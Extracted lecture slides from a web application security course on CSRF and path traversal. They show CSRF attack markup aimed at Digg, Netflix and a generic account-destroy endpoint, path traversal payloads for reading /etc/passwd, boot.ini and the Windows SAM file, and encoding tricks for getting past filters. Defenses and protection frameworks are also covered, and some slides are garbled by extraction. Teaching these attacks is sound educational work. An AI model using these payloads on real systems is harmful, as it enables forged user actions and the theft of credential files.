Cross-Site Request Forgeries (CSRF) & Path Traversal Professor Larry Heimann Web Application Security Information Systems
Lab 2 Review on XSS Hacker Wall of Fame (Lab 2 members in italics) • Renzo Bautista (2x) • Ann Chen • Luke Hottinger • Jeremy Lee (2x) • John Lee • Karen Segal • Rumby Wilson • Glen Wise
Lab 2 Review on XSS • Key points to remember from lab • plenty of attack vectors for XSS attacks, not just the obvious ones • some XSS is just annoying, others can be quite painful • users have a great deal of control over what gets submitted • good hackers often start with things you think are invulnerable • FIEO -- in lab there was some filtering of some input but no escaping of output
A different and trickier threat - CSRF • Often referred to as ‘sleeping giant’ of vulnerabilities because • misunderstood by developers • fundamental to how the web works today • Bill Zeller summarizes CSRF well: “CSRF vulnerabilities occur when a website allows an authenticated user to perform a sensitive action but does not verify that the user herself is invoking that action. The key to understanding CSRF attacks is to recognize that websites typically don't verify that a request came from an authorized user. Instead they verify only that the request came from the browser of an authorized user. Because browsers run code sent by multiple sites, there is a danger that one site will (unbeknownst to the user) send a request to a second site, and the second site will mistakenly think that the user authorized the request.” source: http://freedom-to-tinker.com/blog/wzeller/popular-websites-vulnerable-cross-site-request-forgery-attacks
CSRF example attacker site <img src="http://example.com/ send_email.htm? to=mallory %40example.co<m&subject=Hi& msg=My+email+address+has+been +stolen"> trusted site User
The story that “Diggs” itself ����������������������������� ����������������������������� <iframe name="myframe" style="width:0px;height:0px;border:0px"></iframe> <script type="text/javascript"> function fillframe() { mf = window.frames["myframe"]; html = '<form name="diggform" action="http://digg.com/diginfull" method="post">'; html = html + ' <input type="hidden" name="id" value="367034"/>'; html = html + ' <input type="hidden" name="orderchange" value="2"/>'; html = html + ' <input type="hidden" name="target" value="http%3A//digg.com/"/>'; html = html + ' <input type="hidden" name="category" value="0"/>'; html = html + ' <input type="hidden" name="page" value="0"/>'; html = html + ' <input type="hidden" name="t" value="undefined"/>'; html = html + ' <input type="hidden" name="row" value="1"/>'; html = html + '</form>'; mf.document.body.innerHTML = html; mf.document.diggform.submit(); } </script> <body onload="fillframe();">
Netflix’s past vulnerabilities • Could add a movie easily to the user’s queue: <img src="http://www.netflix.com/AddToQueue?movieid=70011204"; width="1" height="1" border="0"> • Could promote to top of user’s queue with some javascript: <html> <head> <script language="JavaScript" type="text/javascript"> function load_image2() { var img2 = new Image(); img2.src="http://www.netflix.com/MoveToTop?movieid=70023965&fromq=true"; } </script> </head> <body> <img src="http://www.netflix.com/AddToQueue?movieid=70023965"; width="1" height="1" border="0"> <script> setTimeout( 'load_image2()', 2000 ); </script> </body> </html>
Using POST a solution? Use GET if: • The interaction is more like a question (i.e., it is a safe operation such as a query, read operation, or lookup). Use POST if: • The interaction is more like an order, or • The interaction changes the state of the resource in a way that the user would perceive (e.g., a subscription to a service), or • The user is held accountable for the results of the interaction.
CSRF with POST <a href="http://www.harmless.com/" onclick=" var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'http://www.example.com/account/destroy'; f.submit(); return false;">To the harmless survey</a>
Protecting against CSRF • Use “secret data” only user would know • Use only POST requests in the application • Use the HTTP REFERER header to validate request source • Use single non-changing GET/POST token for entire session • Use a hashed “session- and action-specific” value • Use unique token for each request
Frameworks for CSRF protection • J2EE • CSRFGuard [http://www.owasp.org/index.php/CSRF_Guard] • PHP • csrf-magic [http://csrf.htmlpurifier.org/] • CSRFx [http://code.google.com/p/csrfx/] • .NET • CSRFGuard.NET [http://www.owasp.org/index.php/.Net_CSRF_Guard] • Viewstate* (+ ViewStateUserKey or SessionID) • Rails • Built-in CSRF protection • “Note that cross-site scripting (XSS) vulnerabilities bypass all CSRF protections .”
Path traversal • Many common functions require an application to read or write to a file system on the basis of user-supplied parameters. • If these operations are carried out in an unsafe manner, an attacker can use crafted input to access files in an unauthorized way. • Vulnerabilities are known as "path traversal", because the attacker traverses from the intended path to a di ff erent one. • May result in complete compromise of the application.
Common path traversal problem • A typical page which returns the image whose filename is passed in a request parameter: https://myapp.com/scripts/GetImage.aspx?file=diagram1.jpg • To fulfill this request, the server appends the value of the file parameter to a prefix such as C:\myapp\images\ and returns the resulting file. • An attacker can exploit the behavior using the "dot-dot-slash" traversal sequence: https://myapp.com/scripts/GetImage.aspx?file=..\..\windows\repair\sam • This causes the application to return the file: C:\winnt\repair\sam
Finding path traversal flaws • The first step is to locate every instance where file system operations are carried out with user-supplied data: • Any file upload/download functions • Any cases where a request parameters appears to contain a file or directory name • Functions whose implementation is likely to involve file system interaction, such as display of o ffi ce documents or images • Apparently innocuous parameters like lang=en which may be used to build a path to an include file
Finding path traversal flaws • If the function is performing read access, try to retrieve a known file: � If the function is performing read access, try � ../../../../../../../../../../../../etc/passwd ../../../../../../../../../../../../boot.ini � � • If the function is performing write access, choose two files, one which ought to be writable by any user, and one which should not be writable even by administrators, for example: even by administrators, for example: ../../../../../../../../../../../../writetest.txt ../../../../../../../../../../../../windows/system32/config/sam ../../../../../../../../../../../../tmp/writetest.txt ../../../../../../../../../../../../tmp You can also try to write a file within the web root and retrieve it using your browser. � � � � � �
Circumventing obstacles To deal with filters for the dot-dot-slash traversal sequence, try the following: � � � URL Encoding � URL-encoding: � � dot$$$$$$$$$$$$$%2e � forward$slash$$$%2f � back$slash$$$$$$%5c � 16 bit Unicode-encoding � 16 bit Unicode-encoding � dot$$$$$$$$$$$$$%u002e � forward$slash$$$%u2215 back$slash$$$$$$%u2216 � � Double URL-encoding � Double URL-encoding: � dot$$$$$$$$$$$$$%252e forward$slash$$$%252f � � back$slash$$$$$$%255c � Overlong UTF-8 Unicode-encoding � Overlong UTF-8 Unicode-encoding: dot$$$$$$$$$$$$$%c0%2e$$$$%e0%40%ae$$$$%c0ae$$$$etc. � � forward$slash$$$%c0%af$$$$%e0%80%af$$$$%c0%2f$$$etc. back$slash$$$$$$%c0%5c$$$$%c0%80%5c$$$$etc. � �
Circumventing obstacles � • Some applications check whether the user-supplied filename ends in a particular file extension. Here you can try null bytes and newlines to defeat the filter: defeat the filter: ../../../../../boot.ini%00.jpg ../../../../../etc/passwd%0a.jpg • You can also try adding a large number of spaces (more than 260) after your � filename. The application will append its su ffi x, but the long filename may be subsequently truncated to MAXPATH (260) bytes, thus losing the added su ffi x. The superfluous whitespace after your filename will normally be ignored by filesystem APIs.
Recommend
More recommend
